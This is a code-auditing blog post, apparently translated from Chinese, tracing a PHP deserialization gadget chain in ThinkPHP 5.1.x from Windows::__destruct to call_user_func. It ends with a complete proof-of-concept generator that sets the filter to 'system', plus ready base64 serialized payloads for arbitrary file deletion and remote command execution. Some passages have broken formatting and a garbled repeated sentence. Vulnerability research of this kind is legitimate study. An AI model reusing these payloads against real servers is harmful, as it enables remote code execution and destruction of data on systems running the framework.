← Back to all posts
Code Auditing13 min read

In-Depth Analysis of a ThinkPHP Deserialization POP Exploit Chain

An in-depth analysis of ThinkPHP deserialization covering environment setup, prerequisite concepts, the vulnerability entry point, RCE execution flow, and the final proof of concept.

Read in Chinese→

In-Depth Analysis of a ThinkPHP Deserialization POP Exploit Chain

Environment Setup

ThinkPHP 5.1.37 -–– Any 5.1.x version should work

PHP 7.0.12

composer create-project topthink/think=5.1.37 v5.1.37

Prerequisite Knowledge

1. How PHP Deserialization Works
PHP deserialization reads a string and deserializes it into a PHP object.
2. Certain magic methods are automatically executed during PHP deserialization

Method name -––––––– Invocation condition

__call	调用不可访问或不存在的方法时被调用
__callStatic	调用不可访问或不存在的静态方法时被调用
__clone	进行对象clone时被调用,用来调整对象的克隆行为
__constuct	构建对象的时被调用;
__debuginfo	当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本
__destruct	明确销毁对象或脚本结束时被调用;
__get	读取不可访问或不存在属性时被调用
__invoke	当以函数方式调用对象时被调用
__isset	对不可访问或不存在的属性调用isset()或empty()时被调用
__set	当给不可访问或不存在属性赋值时被调用
__set_state	当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。
__sleep	当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
__toString	当一个类被转换成字符串时被调用
__unset	对不可访问或不存在的属性进行unset时被调用
__wakeup	当使用unserialize时被调用,可用于做些对象的初始化操作

3. Common deserialization entry points

__wakeup 一定会调用

__destruct 一定会调用

__toString 当一个对象被反序列化后又被当做字符串使用

4. Common intermediate pivots in deserialization chains:

__toString 当一个对象被当做字符串使用

__get 读取不可访问或不存在属性时被调用

__set 当给不可访问或不存在属性赋值时被调用

__isset 对不可访问或不存在的属性调用isset()或empty()时被调用

形如 $this->$func();

5. Common endpoints of deserialization chains:

__call 调用不可访问或不存在的方法时被调用

call_user_func 一般php代码执行都会选择这里

call_user_func_array 一般php代码执行都会选择这里

6. Principles and characteristics of Phar deserialization

phar://伪协议会在多个函数中反序列化其metadata部分

受影响的函数包括不限于如下:

copy,file_exists,file_get_contents,file_put_contents,file,fileatime,filectime,filegroup,
fileinode,filemtime,fileowner,fileperms,
fopen,is_dir,is_executable,is_file,is_link,is_readable,is_writable,
is_writeable,parse_ini_file,readfile,stat,unlink,exif_thumbnailexif_imagetype,
imageloadfontimagecreatefrom,hash_hmac_filehash_filehash_update_filemd5_filesha1_file,
get_meta_tagsget_headers,getimagesizegetimagesizefromstring,extractTo

Vulnerability Entry Point

The vulnerability starts in the __destruct magic method in \thinkphp\library\think\process\pipes\windows.php.

public function __destruct()
{
    $this->close();
    $this->removeFiles();
}

Two functions are called inside __destruct(). Let us follow the removeFiles() function.

![Image description](/images/20200106153640755.png Here we can see the unlink function.
There is also an arbitrary file deletion vulnerability here. Payload construction: a namespace must be set using namespace!

<?php
namespace think\process\pipes;

class Pipes{
}
class Windows extends Pipes
{
    private $files = [];

    public function __construct()
    {
        $this->files=['D:\\phpStudy\\PHPTutorial\\WWW\\tp5\\install.lock'];
    }
}
echo base64_encode(serialize(new Windows()));

Output:

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjQ0OiJEOlxwaHBTdHVkeVxQSFBUdXRvcmlhbFxXV1dcdHA1XGluc3RhbGwubG9jayI7fX0=
```All that is needed here is a trigger point for a deserialization vulnerability to achieve arbitrary file deletion.  
Construct an exploitation point and try it out.  
Successfully reproduced.

![在这里插入图片描述](/images/20200106154101612.png)

## Starting Point of the RCE Chain

**In removeFiles\(\), file\_exists is used to process filename. \$filename is treated as a string.  
![Image description](/images/20200106154555433.png 
The \_\_toString method is triggered when an object is used as a string after being deserialized. We can pass in an object to trigger the \_\_toString method. Let us search globally for \_\_toString methods.**

![在这里插入图片描述](/images/20200106154654367.png)

**Here, we select \\thinkphp\\library\\think\\model\\concern\\Conversion.php.  
On line 224 of the Conversion class, a toJson\(\) method is called.**

\\thinkphp\\library\\think\\model\\concern\\Conversion.php```php
   public function __toString()
    {
        return $this->toJson();
    }

Follow the toJson() method.

\thinkphp\library\think\model\concern\Conversion.php

 public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }
```Continue to the toArray\(\) method.

thinkphp\\library\\think\\model\\concern\\Conversion.php  
![在这里插入图片描述](/images/2020010615552628.png)```php

```- Objective

**We need to find a point in the toArray\(\) function that satisfies `$可控变量->方法(参数可控)`**

- First, a getRelation method is called here.
- Follow getRelation\(\). **It is located in the Attribute class.**

thinkphp\\library\\think\\model\\concern\\Conversion.php  
![Image description](/images/202001061559427.png 
The getRelation method is called here. Following it gives us the following code:

thinkphp\\library\\think\\model\\concern\\Conversion.php```php
  public function getRelation($name = null)
    {
        if (is_null($name)) {
            return $this->relation;
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        return;
    }

Because the if statement below getRelation() is if (!$relation), we do not need to worry about it here; simply return an empty value.

![Image description](/images/20200106165650553.png The getAttr method is then called. Let us follow the getAttr method.

thinkphp\library\think\model\concern\Conversion.php

public function getAttr($name, &$item = null)
    {
        try {
            $notFound = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $notFound = true;
            $value    = null;
        }
		....
		.....
		return $value;

Continue into the getData method.

thinkphp\library\think\model\concern\Attribute.php

public function getData($name = null)
    {
        if (is_null($name)) {
            return $this->data;
        } elseif (array_key_exists($name, $this->data)) {
            return $this->data[$name];
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }

By examining the getData function, we can see that the value of relation is the value of relation, the value of relation is the value of relation, and its value is this->data[$name]. One point to note is that the class definition here uses a Trait rather than a class. Since
PHP 5.4.0, PHP has provided a code reuse mechanism called traits. The names of the Traits to be composed into a class are declared using the use
keyword. Therefore, class inheritance here must use the use keyword. We then need to find a subclass that inherits both the Attribute and Conversion classes.

We can find such a class in \thinkphp\library\think\Model.php.

abstract class Model implements \JsonSerializable, \ArrayAccess
{
    use model\concern\Attribute;
    use model\concern\RelationShip;
    use model\concern\ModelEvent;
    use model\concern\TimeStamp;
    use model\concern\Conversion;
```**Let us review the variables that we currently need to control**

- \$files is located in the Windows class
- \$append is located in the Conversion class
- \$data is located in the Attribute class

Here is a diagram from another researcher for a quick overview. We will organize the chain further below.  
![在这里插入图片描述](/images/20200106171421443.png)

## Analysis of the Code Execution Point

Here, `$this->append` is **controllable** by us \(in Conversion\), and it then goes through `getRelation($key)`. However, there is a `!$relation` below it, so we only need to set it to empty.

Next, `getAttr($key)` is called, followed by the `getData($name)` function. Here, `$this->data['name']` is **controllable** by us \(in Attribute\).

The `$relation` variable comes from `$this->data[$name]`.  
The `$name` variable comes from `$this->append`.

The flow then returns to the toArray function. Through the statement `$relation->visible($name);`, we control `$relation` as a class object. Calling the nonexistent visible method automatically invokes the `__call` method, so we need to find a class object that has no visible method.

We are now missing a code execution point. The relevant class must not have a visible method and preferably should have a \_\_call method.

This is because \_\_call often contains \_\_call\_user\_func and \_\_call\_user\_func\_array, which are frequently selected as the endpoints for PHP code execution. We have seen these two methods more than once in ThinkPHP RCE vulnerabilities.

**A \_\_call function can be found in /thinkphp/library/think/Request.php. \_\_call is invoked when an inaccessible or nonexistent method is called.**

Below is a diagram from another researcher that illustrates the chain very clearly.

![在这里插入图片描述](/images/20200106171533384.png)

> call\_user\_func\_array\(‘system’,array\(‘whoami’\)\);  
> call\_user\_func\(‘system’,‘calc’\);

Locate:  
/thinkphp/library/think/Request.php```php
 ......
   public function __call($method, $args)
    {
        if (array_key_exists($method, $this->hook)) {
            array_unshift($args, $this);
            return call_user_func_array($this->hook[$method], $args);
        }

        throw new Exception('method not exists:' . static::class . '->' . $method);
    }
   .....
````$hook` is controllable here, so `call_user_func_array(array(任意类,任意方法),$args)` allows us to call any method of any class. However, `array_unshift()` inserts a new element at the beginning of the array, meaning that the new value is inserted at the start of the array. The first value in `$args` cannot be controlled. Under these circumstances, we cannot construct a usable payload. Because the first value of \$args cannot be controlled, we cannot construct a payload with usable parameters, since the first parameter is the \$this object.

**`call_user_func_array(array(任意类,任意方法),$args)` allows us to call any method of any class.**  
Although line 330 uses the array\_unshift function to place the current class object, \$this, at the beginning of the \$args array variable, we can look for a method that is unaffected by this parameter.

Those familiar with historical ThinkPHP RCE vulnerabilities may know that the input method of the think\\Request class is often equivalent to `call_user_func($filter,$data)`. However, as noted above, the first element of the `$args` array variable is a fixed class object. Therefore, we cannot call the input method directly here and should instead look for a method that calls input.

**The final RCE occurs inside the input function.**

The input function contains `$this->filterValue($data, $name, $filter);`.```php
    private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
            } elseif (is_scalar($value)) {

However, $value cannot be controlled directly here, so we need to trace upward to find a location where value can be controlled. The following functions were found:

  1. cookie
  2. input, but the input parameters here are not controllable:
....
   public function input($data = [], $name = '', $default = null, $filter = '')
{
    if (false === $name) {
       // 获取原始数据
       return $data;
    }

    $name = (string) $name;
    if ('' != $name) {
       // 解析name
       if (strpos($name, '/')) {
         list($name, $type) = explode('/', $name);
       }

       $data = $this->getData($data, $name);

       if (is_null($data)) {
         return $default;
       }

       if (is_object($data)) {
         return $data;
       }
    }

    // 解析过滤器
    $filter = $this->getFilter($filter, $default);

    if (is_array($data)) {
       array_walk_recursive($data, [$this, 'filterValue'], $filter);
       if (version_compare(PHP_VERSION, '7.1.0', '<')) {
                // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
                $this->arrayReset($data);
            }
     } else {
        $this->filterValue($data, $name, $filter);
     }

Here, $filter is controllable, but the data parameter is not. Moreover, with $name = (string) $name;, if input is called directly, an error will occur when execution reaches this statement and the program will exit immediately. Therefore, we continue tracing backward. The objective is to find a location where the $name variable can be controlled and preferably made into a string. We also need to find a way to control the data parameter.

protected function getFilter($filter, $default)
{
    if (is_null($filter)) {
       $filter = [];
    } else {
       $filter = $filter ?: $this->filter;
       if (is_string($filter) && false === strpos($filter, '/')) {
         $filter = explode(',', $filter);
       } else {
         $filter = (array) $filter;
       }
    }

    $filter[] = $default;

    return $filter;
}
protected function getData(array $data, $name)
{
    foreach (explode('.', $name) as $val) {
       if (isset($data[$val])) {
         $data = $data[$val];
       } else {
         return;
       }
    }

    return $data;
}

We continue looking for a location that calls the input function and find the param function.

public function param($name = '', $default = null, $filter = '')
{
    if (!$this->mergeParam) {
       $method = $this->method(true);

       // 自动获取请求变量
       switch ($method) {
         case 'POST':
          $vars = $this->post(false);
          break;
         case 'PUT':
         case 'DELETE':
         case 'PATCH':
          $vars = $this->put(false);
          break;
         default:
          $vars = [];
       }

       // 当前请求参数和URL地址中的参数合并
       $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

       $this->mergeParam = true;
    }

    if (true === $name) {
       // 获取包含文件上传信息的数组
       $file = $this->file();
       $data = is_array($file) ? array_merge($this->param, $file) : $this->param;

       return $this->input($data, '', $default, $filter);
    }

    return $this->input($this->param, $name, $default, $filter);
}

As we can see, this->param is fully controllable and receives parameters through GET. In other words, the $data parameter in the input function is controllable, meaning that $value, in call_user_func is controllable. One condition remains: name must be a string, so we continue tracing backward.
It is still uncontrollable here, so we continue looking for a location that calls the param function. We find the isAjax function.

public function isAjax($ajax = false)
    {
        $value  = $this->server('HTTP_X_REQUESTED_WITH');
        $result = 'xmlhttprequest' == strtolower($value) ? true : false;

        if (true === $ajax) {
            return $result;
        }

        $result           = $this->param($this->config['var_ajax']) ? true : $result;
        $this->mergeParam = false;
        return $result;
    }

In the isAjax function, we can control $this->config['var_ajax']. If $this->config['var_ajax'] is controllable, this means that name in the param function is controllable. The name in the param function is controllable. The name in the param function is controllable, which means that $name in the input function is controllable.

This can lead to RCE.
Let us trace the chain backward.

The param() function can obtain the $_GET array and assign it to $this->param.

$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

array_merge() merges the arrays.
This line of code assigns the $_GET array to $this->param. Continuing execution brings us to:

return $this->input($this->param, $name, $default, $filter);

Return to the input function:

$data = $this->getData($data, $name);

The value of $name comes from $this->config['var_ajax']. Let us follow the getData function.

 protected function getData(array $data, $name)
    {
        foreach (explode('.', $name) as $val) {
            if (isset($data[$val])) {
                $data = $data[$val];
            } else {
                return;
            }
        }

        return $data;
    }
\\

Here, $data is directly equal to $data = $data[$val] = $data[$name].

Next comes filter parsing. Follow the getFilter function.

$filter = $this->getFilter($filter, $default);
protected function getFilter($filter, $default)
    {
        if (is_null($filter)) {
            $filter = [];
        } else {
            $filter = $filter ?: $this->filter;
            if (is_string($filter) && false === strpos($filter, '/')) {
                $filter = explode(',', $filter);
            } else {
                $filter = (array) $filter;
            }
        }

        $filter[] = $default;

        return $filter;
    }
```![在这里插入图片描述](/images/2020010714350552.png)

This means that \$filter is controllable.  
Finally, return to the key code in the input function.

![在这里插入图片描述](/images/20200107143733892.png)

The code that ultimately leads to RCE:```php
  private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
```- filterValue.value = the first value passed through the GET request, input.data
- filters.key = the first GET key
- filters.filters = input.filters

Here is a diagram from another researcher:

![Image description](/images/20200107144450321.png 
The complete exploit chain:  
![在这里插入图片描述](/images/20200107150410781.png)

At this point, the approach is clear. Looking back at the exploitation process in our POC, the previous toArray\(\) method first creates a Request\(\) object, which then triggers the \_\_construct\(\) method in the POC. Next, new Request\(\)->visible\(\$name\) is called. Because the object invokes a nonexistent method, the \_\_call method is triggered. Let us examine the contents of the \_\_construct\(\) method.```php
function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'lin'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }

Final POC

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["zeo"=>["calc.exe","calc"]];
        $this->data = ["zeo"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

```We send the payload through POST and then obtain the command to execute through a GET request.

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJ6ZW8iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJ6ZW8iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fX19fX19

Successfully reproduced.  
![在这里插入图片描述](/images/20200107152900358.png)

References  
https://blog.riskivy.com/挖掘暗藏thinkphp中的反序列利用链/  
https://blog.csdn.net/qq\_43380549/article/details/101265818  
https://xz.aliyun.com/t/6467  
https://xz.aliyun.com/t/6619  
https://www.t00ls.net/thread-54324-1-1.html  
https://www.t00ls.net/viewthread.php\?tid=52825\&extra=\&page=1